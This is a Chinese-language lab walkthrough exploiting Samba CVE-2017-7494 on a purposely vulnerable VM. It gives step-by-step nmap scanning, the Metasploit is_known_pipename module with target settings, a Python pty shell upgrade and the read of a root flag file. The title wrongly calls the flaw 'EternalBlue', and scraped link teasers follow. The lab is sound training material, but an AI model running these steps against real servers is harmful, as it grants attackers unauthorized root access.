漏洞描述

1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

2. 共享文件拥有写入权限

3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,使服务器加载并执行它。只需要一个可写入的Samba用户权限就可以利用该漏洞以root身份执行任意代码。

实验环境

https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw    靶机环境

靶机环境:Stapler.zip中包含虚拟机导入文件,请使用virtual-box加载启动。环境中有CVE-2017-7494相应的漏洞。(网卡模式设置为NAT模式或Bridge【桥接】模式--和攻击环境设置一样的模式即可)

攻击环境:Kali-linxu,使用virtual-box启动。(网卡模式设置为NAT模式或Bridge【桥接】模式--和靶机环境设置一样的模式即可)

实验目的:读取靶机环境中的/root/flags.txt文件

说明:靶机环境和攻击环境为两台虚拟机,启动并保证两台机器互联互通。

实验步骤

一、 Ka li Linux内通过Nmap或netdiscover扫描同网段其他主机

#假设网段为 192.168.1.0
sudo nmap -sP -PI -PT 192.168.1.0/24

二、使用Nmap工具扫描目标IP地址,发现其开放端口

#扫描目标IP地址
nmap -sV 192.168.60.50

Kali 启动metasploit服务

 kali linux 2.0 本身已内置metasploit,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

kali 2.0中启动带数据库支持的msf方式

#首先启动postgresql数据库
/etc/init.d/postgresql start;
或者
service postgresql start; #初始化MSF数据库(关键步骤!)
msfdb init; #运行msfconsole
msfconsole; #在msf中查看数据库连接状态
db_status #将postgresql数据库设置开机自启
update-rc.d postgresql enable

漏洞利用过程

在msfconsole使用 search 命令搜索CVE-2017-7494相关攻击模块

#搜索CVE-2017-7494攻击模块
search 2017-7494

可以看到 exploit/linux/samba/is_known_pipename 攻击模块

加载攻击模块

#加载攻击模块
use exploit/linux/samba/is_known_pipename

查看攻击模块中需要配置的参数

#查看需要设置的参数
show options

RHOST代表要攻击的目标IP地址

RPORT代表攻击目标的端口号

设置参数进行攻击

#设置攻击目标的IP
set rhost 192.168.60.50 #设置攻击目标的端口
set rport 445

#开始攻击
exploit

run

获取命令行交互窗口

使用python脚本获得交互命令行窗口

#获取命令行交互窗口
python -c "import pty; pty.spawn('/bin/bash')"

python3 -c 'import pty;pty.spawn("/bin/bash")'

获取目标文件

#获取查看目标文件
cat /root/flags.txt

完成攻击实验测试!!

Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验的更多相关文章

  1. CVE-2019-0708_RDP漏洞利用

    可以说是2019年影响比较大的一个漏洞了, 简述下这个漏洞: Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如: windows2003.windows2008.w ...

  2. 永恒之蓝ms17_010漏洞复现

    1.什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. 2.SMB协议 SM ...

  3. EternalBlue永恒之蓝漏洞复现

    EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...

  4. “永恒之蓝"漏洞的紧急应对--毕业生必看

    早上6点多起床了,第一次起这么早,昨天晚上12点多,看到了一则紧急通知,勒索软件通过微软"永恒之蓝"漏洞针对教育网进行了大规模的攻击,而且有很多同学中招.中招后的结果如下图所示. ...

  5. Metasploit(msf)利用ms17_010(永恒之蓝)出现Encoding::UndefinedConversionError问题

    Metasploit利用ms17_010(永恒之蓝) 利用流程 先确保目标靶机和kali处于同一网段,可以互相Ping通 目标靶机防火墙关闭,开启了445端口 输入search ms17_010 搜索 ...

  6. SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议

    SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1.查看本机数据库是否开启,发现数 ...

  7. php伪协议,利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...

  8. SMB溢出漏洞所需的SMB协议内容

    来一张wireshark抓下的SMB包,再解读一下. 一个包的内容有 网卡 IPV4 TCP NetBIOS SMB SMB header SMB Command: xxx Error class: ...

  9. Windows漏洞利用 ms17-010

    漏洞名称 SMB 远程命令执行漏洞(ms17-010) 漏洞描述 继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 ...

随机推荐

  1. 怎么样在同一个word文件中删除不同节数的页眉

    1.双击页眉,进入页眉编辑状态2.选择准备删除页眉的节,直接额删除即可.注意:为不至于因该节的改动影响其他节的页眉,需要在页眉设置上,每节都要取消链接到前一节页眉 把那张的前面和后面都插入分隔符,在页 ...

  2. 常用Python第三方库简介

    如果说强大的标准库奠定了Python发展的基石,丰富的第三方库则是python不断发展的保证,随着python的发展一些稳定的第三库被加入到了标准库里面,这里有6000多个第三方库的介绍 下表中加粗并 ...

  3. ubuntu 14.04安装mysql-python

    网上看到的是想安装mysql-python都得安装mysql本身,可是我就不想安装这个数据库,而是用于连接到别的服务器上的mysql,所以下面就是安装过程: 1. 直接运行: pip install ...

  4. 阿里云服务器安装Docker并部署nginx、jdk、redis、mysql

    阿里云服务器安装Docker并部署nginx.jdk.redis.mysql 一.安装Docker 1.安装Docker的依赖库 yum install -y yum-utils device-map ...

  5. [ Java面试题 ]Java 开发岗面试知识点解析

    如背景中介绍,作者在一年之内参加过多场面试,应聘岗位均为 Java 开发方向. 在不断的面试中,分类总结了 Java 开发岗位面试中的一些知识点. 主要包括以下几个部分: Java 基础知识点 Jav ...

  6. TVM自定义数据类型

    TVM自定义数据类型 本文将介绍"自定义数据类型"框架,该框架可在TVM中使用自定义数据类型. 介绍 在设计加速器时,关键是如何近似地表示硬件中的实数.这个问题具有长期的行业标准解 ...

  7. 关于Numba的线程实现的说明

    关于Numba的线程实现的说明 由Numbaparallel目标执行的工作由Numba线程层执行.实际上,"线程层"是Numba内置库,可以执行所需的并发执行.在撰写本文时,有三个 ...

  8. cuDNN 功能模块解析

    Abstract 本cuDNN 8.0.4开发人员指南概述了cuDNN功能,如可自定义的数据布局.支持灵活的dimension ordering,striding,4D张量的子区域,这些张量用作其所有 ...

  9. 解决:django.core.exceptions.ImproperlyConfigured: Requested setting INSTALLED_APPS, but settings are not 的方法

    错误类型: 该错误是在在创建Django工程时出现遇到的错误 完整报错信息:(博文标题输入长度有限制) django.core.exceptions.ImproperlyConfigured: Req ...

  10. SpringAOP 原理解析

    什么是AOP? 1: 传统的OOP编程他的代码逻辑是一种自上向下, 而在这些自上而下的过程中会产生一些横切性的问题,比如说:日志信息,权限校验认证,事务等, 2: 这些横切性问题,往往与我们的主业务逻 ...